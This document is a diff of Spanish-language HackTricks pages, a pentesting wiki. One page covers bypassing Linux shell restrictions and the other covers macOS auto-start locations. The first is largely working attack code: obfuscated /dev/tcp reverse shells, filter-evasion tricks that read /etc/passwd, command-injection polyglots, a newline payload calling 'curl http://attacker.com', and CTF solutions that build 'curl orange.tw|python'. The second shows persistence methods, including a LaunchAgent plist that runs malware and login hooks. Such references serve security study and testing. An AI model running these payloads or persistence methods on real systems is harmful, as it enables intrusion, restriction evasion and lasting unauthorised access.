* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
@ -0,0 +1,391 @@
|
|||
# Saltar Restricciones de la Shell de Linux
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Saltos Comunes de Limitaciones
|
||||
|
||||
### Shell Inversa
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### Rev shell corta
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
(sh)0>/dev/tcp/10.10.10.10/443
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Saltar rutas y palabras prohibidas
|
||||
|
||||
---
|
||||
|
||||
En algunos casos, el acceso a ciertas rutas o palabras está prohibido por el sistema. Sin embargo, hay formas de saltar estas restricciones.
|
||||
|
||||
#### Saltar rutas prohibidas
|
||||
|
||||
Si se intenta acceder a una ruta prohibida, se puede intentar saltar la restricción utilizando una ruta relativa. Por ejemplo, si `/home/user` está prohibido, se puede intentar acceder a `../user` desde otra ruta permitida.
|
||||
|
||||
#### Saltar palabras prohibidas
|
||||
|
||||
Si se intenta ejecutar un comando que contiene una palabra prohibida, se puede intentar utilizar un sinónimo o una abreviatura de la palabra. Por ejemplo, si `rm` está prohibido, se puede intentar utilizar `del` o `erase` en su lugar.
|
||||
|
||||
También se puede intentar utilizar una ruta absoluta para el comando, en lugar de simplemente escribir el nombre del comando. Por ejemplo, en lugar de escribir `rm archivo`, se puede intentar escribir `/bin/rm archivo`.
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
|
||||
|
||||
# Wildcard(*) binary substitution
|
||||
/usr/bin/who*mi # /usr/bin/whoami
|
||||
|
||||
# Wildcard + local directory arguments
|
||||
touch -- -la # -- stops processing options after the --
|
||||
ls *
|
||||
echo * #List current files and folders with echo and wildcard
|
||||
|
||||
# [chars]
|
||||
/usr/bin/n[c] # /usr/bin/nc
|
||||
|
||||
# Quotes
|
||||
'p'i'n'g # ping
|
||||
"w"h"o"a"m"i # whoami
|
||||
ech''o test # echo test
|
||||
ech""o test # echo test
|
||||
bas''e64 # base64
|
||||
|
||||
#Backslashes
|
||||
\u\n\a\m\e \-\a # uname -a
|
||||
/\b\i\n/////s\h
|
||||
|
||||
# $@
|
||||
who$@ami #whoami
|
||||
|
||||
# Transformations (case, reverse, base64)
|
||||
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
|
||||
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
|
||||
$(rev<<<'imaohw') #whoami
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
|
||||
|
||||
|
||||
# Execution through $0
|
||||
echo whoami|$0
|
||||
|
||||
# Uninitialized variables: A uninitialized variable equals to null (nothing)
|
||||
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
||||
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
||||
|
||||
# Fake commands
|
||||
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
||||
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
||||
|
||||
# Concatenation of strings using history
|
||||
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
|
||||
mi # This will throw an error
|
||||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Saltar espacios prohibidos
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
{echo,test} # echo test
|
||||
|
||||
# IFS - Internal field separator, change " " for any other character ("]" in this case)
|
||||
cat${IFS}/etc/passwd # cat /etc/passwd
|
||||
cat$IFS/etc/passwd # cat /etc/passwd
|
||||
|
||||
# Put the command line in a variable and then execute it
|
||||
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
|
||||
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
|
||||
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
|
||||
# Other way, just change each space for ${IFS}
|
||||
echo${IFS}test
|
||||
|
||||
# Using hex format
|
||||
X=$'cat\x20/etc/passwd'&&$X
|
||||
|
||||
# Using tabs
|
||||
echo "ls\x09-l" | bash
|
||||
|
||||
# New lines
|
||||
p\
|
||||
i\
|
||||
n\
|
||||
g # These 4 lines will equal to ping
|
||||
|
||||
# Undefined variables and !
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Saltar la barra invertida y la barra diagonal
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Saltar tuberías
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Bypass mediante codificación hexadecimal
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
|
||||
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||
cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Saltar IPs
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Exfiltración de datos basada en tiempo
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Obteniendo caracteres de variables de entorno
|
||||
|
||||
Para obtener caracteres de variables de entorno, podemos utilizar la expansión de variables de Bash. Por ejemplo, si queremos obtener el primer carácter de la variable de entorno `MY_VAR`, podemos hacer lo siguiente:
|
||||
|
||||
```bash
|
||||
echo ${MY_VAR:0:1}
|
||||
```
|
||||
|
||||
Esto imprimirá el primer carácter de `MY_VAR`. De manera similar, si queremos obtener los primeros tres caracteres, podemos hacer lo siguiente:
|
||||
|
||||
```bash
|
||||
echo ${MY_VAR:0:3}
|
||||
```
|
||||
|
||||
También podemos obtener los últimos caracteres de una variable de entorno utilizando un índice negativo. Por ejemplo, si queremos obtener los últimos dos caracteres de `MY_VAR`, podemos hacer lo siguiente:
|
||||
|
||||
```bash
|
||||
echo ${MY_VAR: -2}
|
||||
```
|
||||
|
||||
Tenga en cuenta que hay un espacio después del `:` en la expresión `${MY_VAR: -2}`. Esto es necesario para indicar que estamos utilizando un índice negativo.
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### Exfiltración de datos DNS
|
||||
|
||||
Podrías usar **burpcollab** o [**pingb**](http://pingb.in) por ejemplo.
|
||||
|
||||
### Funciones integradas
|
||||
|
||||
En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de funciones integradas para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todas** las **funciones integradas**, por lo que debes **conocer todas tus opciones** para intentar evadir la cárcel. Idea de [**devploit**](https://twitter.com/devploit).\
|
||||
En primer lugar, verifica todas las [**funciones integradas de shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Luego, aquí tienes algunas **recomendaciones**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
||||
# In these cases PATH won't be set, so you can try to set it
|
||||
PATH="/bin" /bin/ls
|
||||
export PATH="/bin"
|
||||
declare PATH="/bin"
|
||||
SHELL=/bin/bash
|
||||
|
||||
# Hex
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
|
||||
# Input
|
||||
read aaa; exec $aaa #Read more commands to execute and execute them
|
||||
read aaa; eval $aaa
|
||||
|
||||
# Get "/" char using printf and env vars
|
||||
printf %.1s "$PWD"
|
||||
## Execute /bin/ls
|
||||
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
|
||||
## To get several letters you can use a combination of printf and
|
||||
declare
|
||||
declare functions
|
||||
declare historywords
|
||||
|
||||
# Read flag in current dir
|
||||
source f*
|
||||
flag.txt:1: command not found: CTF{asdasdasd}
|
||||
|
||||
# Read file with read
|
||||
while read -r line; do echo $line; done < /etc/passwd
|
||||
|
||||
# Get env variables
|
||||
declare
|
||||
|
||||
# Get history
|
||||
history
|
||||
declare history
|
||||
declare historywords
|
||||
|
||||
# Disable special builtins chars so you can abuse them as scripts
|
||||
[ #[: ']' expected
|
||||
## Disable "[" as builtin and enable it as script
|
||||
enable -n [
|
||||
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
|
||||
chmod +x [
|
||||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Inyección de comandos políglota
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Saltar posibles expresiones regulares
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
|
||||
Bashfuscator es una herramienta que permite ofuscar código Bash para evitar la detección de restricciones de Bash. La herramienta utiliza técnicas de ofuscación como la eliminación de espacios en blanco, la sustitución de caracteres y la codificación de cadenas. Esto puede ser útil para evadir restricciones de Bash en sistemas comprometidos o para ocultar comandos maliciosos en scripts Bash.
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### RCE con 5 caracteres
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
|
||||
http://host/?cmd=>ls\
|
||||
http://host/?cmd=ls>_
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>-t\
|
||||
http://host/?cmd=>\>g
|
||||
http://host/?cmd=ls>>_
|
||||
|
||||
## Step2: generate `curl orange.tw|python` to file "g"
|
||||
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
|
||||
http://host/?cmd=>on
|
||||
http://host/?cmd=>th\
|
||||
http://host/?cmd=>py\
|
||||
http://host/?cmd=>\|\
|
||||
http://host/?cmd=>tw\
|
||||
http://host/?cmd=>e.\
|
||||
http://host/?cmd=>ng\
|
||||
http://host/?cmd=>ra\
|
||||
http://host/?cmd=>o\
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>rl\
|
||||
http://host/?cmd=>cu\
|
||||
http://host/?cmd=sh _
|
||||
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
|
||||
|
||||
## Finally execute the file "g"
|
||||
http://host/?cmd=sh g
|
||||
|
||||
|
||||
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
|
||||
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
## Execute tar command over a folder
|
||||
http://52.199.204.34/?cmd=>tar
|
||||
http://52.199.204.34/?cmd=>zcf
|
||||
http://52.199.204.34/?cmd=>zzz
|
||||
http://52.199.204.34/?cmd=*%20/h*
|
||||
|
||||
# Another curiosity if you can read files of the current folder
|
||||
ln /f*
|
||||
## If there is a file /flag.txt that will create a hard link
|
||||
## to it in the current folder
|
||||
```
|
||||
### RCE con 4 caracteres
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
# and then generate the full command in filenames
|
||||
# generate "g> ht- sl" to file "v"
|
||||
'>dir'
|
||||
'>sl'
|
||||
'>g\>'
|
||||
'>ht-'
|
||||
'*>v'
|
||||
|
||||
# reverse file "v" to file "x", content "ls -th >g"
|
||||
'>rev'
|
||||
'*v>x'
|
||||
|
||||
# generate "curl orange.tw|python;"
|
||||
'>\;\\'
|
||||
'>on\\'
|
||||
'>th\\'
|
||||
'>py\\'
|
||||
'>\|\\'
|
||||
'>tw\\'
|
||||
'>e.\\'
|
||||
'>ng\\'
|
||||
'>ra\\'
|
||||
'>o\\'
|
||||
'>\ \\'
|
||||
'>rl\\'
|
||||
'>cu\\'
|
||||
|
||||
# got shell
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Bypass de Restricciones de Solo Lectura/Noexec
|
||||
|
||||
Si te encuentras dentro de un sistema de archivos con protecciones de **solo lectura y noexec**, todavía hay formas de **ejecutar binarios arbitrarios**. Una de ellas es mediante el uso de **DDexec**, puedes encontrar una explicación de la técnica en:
|
||||
|
||||
{% content-ref url="../bypass-linux-shell-restrictions/ddexec.md" %}
|
||||
[ddexec.md](../bypass-linux-shell-restrictions/ddexec.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bypass de Chroot y otras Jaulas
|
||||
|
||||
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referencias y Más
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
374
macos-hardening/macos-auto-start-locations.md
Normal file
374
macos-hardening/macos-auto-start-locations.md
Normal file
|
@ -0,0 +1,374 @@
|
|||
# Ubicaciones de inicio automático de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Aquí se encuentran las ubicaciones en el sistema que podrían llevar a la **ejecución** de un binario **sin** **interacción** **del usuario**.
|
||||
|
||||
### Launchd
|
||||
|
||||
**`launchd`** es el **primer** **proceso** ejecutado por el kernel de OX S al inicio y el último en finalizar al apagar. Siempre debe tener el **PID 1**. Este proceso **leerá y ejecutará** las configuraciones indicadas en los **plists ASEP** en:
|
||||
|
||||
* `/Library/LaunchAgents`: agentes por usuario instalados por el administrador
|
||||
* `/Library/LaunchDaemons`: demonios de todo el sistema instalados por el administrador
|
||||
* `/System/Library/LaunchAgents`: agentes por usuario proporcionados por Apple.
|
||||
* `/System/Library/LaunchDaemons`: demonios de todo el sistema proporcionados por Apple.
|
||||
|
||||
Cuando un usuario inicia sesión, los plists ubicados en `/Users/$USER/Library/LaunchAgents` y `/Users/$USER/Library/LaunchDemons` se inician con los **permisos de los usuarios registrados**.
|
||||
|
||||
La **principal diferencia entre agentes y demonios es que los agentes se cargan cuando el usuario inicia sesión y los demonios se cargan al inicio del sistema** (ya que hay servicios como ssh que deben ejecutarse antes de que cualquier usuario acceda al sistema). Además, los agentes pueden usar la GUI mientras que los demonios deben ejecutarse en segundo plano.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>com.apple.someidentifier</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/Users/username/malware</string>
|
||||
</array>
|
||||
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
|
||||
<key>StartInterval</key>
|
||||
<integer>800</integer> <!--Execute each 800s-->
|
||||
<key>KeepAlive</key>
|
||||
<dict>
|
||||
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
|
||||
<!--If previous is true, then re-execute in successful exit-->
|
||||
</dict>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Hay casos en los que un **agente debe ser ejecutado antes de que el usuario inicie sesión**, estos se llaman **PreLoginAgents**. Por ejemplo, esto es útil para proporcionar tecnología de asistencia en el inicio de sesión. También se pueden encontrar en `/Library/LaunchAgents` (ver [**aquí**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un ejemplo).
|
||||
|
||||
\{% hint style="info" %\} Los nuevos archivos de configuración de Daemons o Agents se cargarán después del próximo reinicio o usando `launchctl load <target.plist>`. También es posible cargar archivos .plist sin esa extensión con `launchctl -F <file>` (sin embargo, esos archivos plist no se cargarán automáticamente después del reinicio).\
|
||||
También es posible **descargar** con `launchctl unload <target.plist>` (el proceso al que apunta se terminará).
|
||||
|
||||
Para **asegurarse** de que no hay **nada** (como una anulación) **impidiendo** que un **Agente** o **Daemon** **se ejecute**, ejecute: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` \{% endhint %\}
|
||||
|
||||
Liste todos los agentes y demonios cargados por el usuario actual:
|
||||
```bash
|
||||
launchctl list
|
||||
```
|
||||
### Cron
|
||||
|
||||
Lista los trabajos cron del **usuario actual** con:
|
||||
```bash
|
||||
crontab -l
|
||||
```
|
||||
También se pueden ver todos los trabajos programados de los usuarios en **`/usr/lib/cron/tabs/`** y **`/var/at/tabs/`** (se necesita ser root).
|
||||
|
||||
En MacOS se pueden encontrar varias carpetas que ejecutan scripts con **cierta frecuencia** en:
|
||||
```bash
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
Aquí puedes encontrar los trabajos regulares de **cron**, los trabajos de **at** (poco utilizados) y los trabajos **periódicos** (principalmente utilizados para limpiar archivos temporales). Los trabajos periódicos diarios se pueden ejecutar, por ejemplo, con: `periodic daily`.
|
||||
|
||||
Los scripts periódicos (**`/etc/periodic`**) se ejecutan debido a los **launch daemons** configurados en `/System/Library/LaunchDaemons/com.apple.periodic*`. Ten en cuenta que si un script se almacena en `/etc/periodic/` como una forma de **escalado de privilegios**, se **ejecutará** como el **propietario del archivo**.
|
||||
```bash
|
||||
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
||||
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
|
||||
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
|
||||
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
|
||||
```
|
||||
### kext
|
||||
|
||||
Para instalar un KEXT como elemento de inicio, debe estar **instalado en una de las siguientes ubicaciones**:
|
||||
|
||||
* `/System/Library/Extensions`
|
||||
* Archivos KEXT integrados en el sistema operativo OS X.
|
||||
* `/Library/Extensions`
|
||||
* Archivos KEXT instalados por software de terceros.
|
||||
|
||||
Puede listar los archivos kext cargados actualmente con:
|
||||
```bash
|
||||
kextstat #List loaded kext
|
||||
kextload /path/to/kext.kext #Load a new one based on path
|
||||
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
||||
kextunload /path/to/kext.kext
|
||||
kextunload -b com.apple.driver.ExampleBundle
|
||||
```
|
||||
Para obtener más información sobre las [**extensiones de kernel, consulte esta sección**](macos-security-and-privilege-escalation/mac-os-architecture#i-o-kit-drivers).
|
||||
|
||||
### **Elementos de inicio de sesión**
|
||||
|
||||
En Preferencias del Sistema -> Usuarios y grupos -> **Elementos de inicio de sesión** se pueden encontrar **elementos que se ejecutan cuando el usuario inicia sesión**.\
|
||||
Es posible listarlos, agregarlos y eliminarlos desde la línea de comandos:
|
||||
```bash
|
||||
#List all items:
|
||||
osascript -e 'tell application "System Events" to get the name of every login item'
|
||||
|
||||
#Add an item:
|
||||
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
|
||||
|
||||
#Remove an item:
|
||||
osascript -e 'tell application "System Events" to delete login item "itemname"'
|
||||
```
|
||||
Estos elementos se almacenan en el archivo /Users/\<username>/Library/Application Support/com.apple.backgroundtaskmanagementagent
|
||||
|
||||
### At
|
||||
|
||||
Las "tareas At" se utilizan para **programar tareas en momentos específicos**.\
|
||||
Estas tareas difieren de cron en que **son tareas únicas** que se **eliminan después de ejecutarse**. Sin embargo, **sobrevivirán a un reinicio del sistema** por lo que no se pueden descartar como una posible amenaza.
|
||||
|
||||
Por **defecto** están **deshabilitadas** pero el usuario **root** puede **habilitarlas** con:
|
||||
```bash
|
||||
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||
```
|
||||
Esto creará un archivo a las 13:37:
|
||||
```bash
|
||||
echo hello > /tmp/hello | at 1337
|
||||
```
|
||||
Si las tareas AT no están habilitadas, las tareas creadas no se ejecutarán.
|
||||
|
||||
### Hooks de inicio/salida de sesión
|
||||
|
||||
Están obsoletos, pero se pueden usar para ejecutar comandos cuando un usuario inicia sesión.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
echo 'My is: \`id\`' > /tmp/login_id.txt
|
||||
EOF
|
||||
chmod +x $HOME/hook.sh
|
||||
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
|
||||
```
|
||||
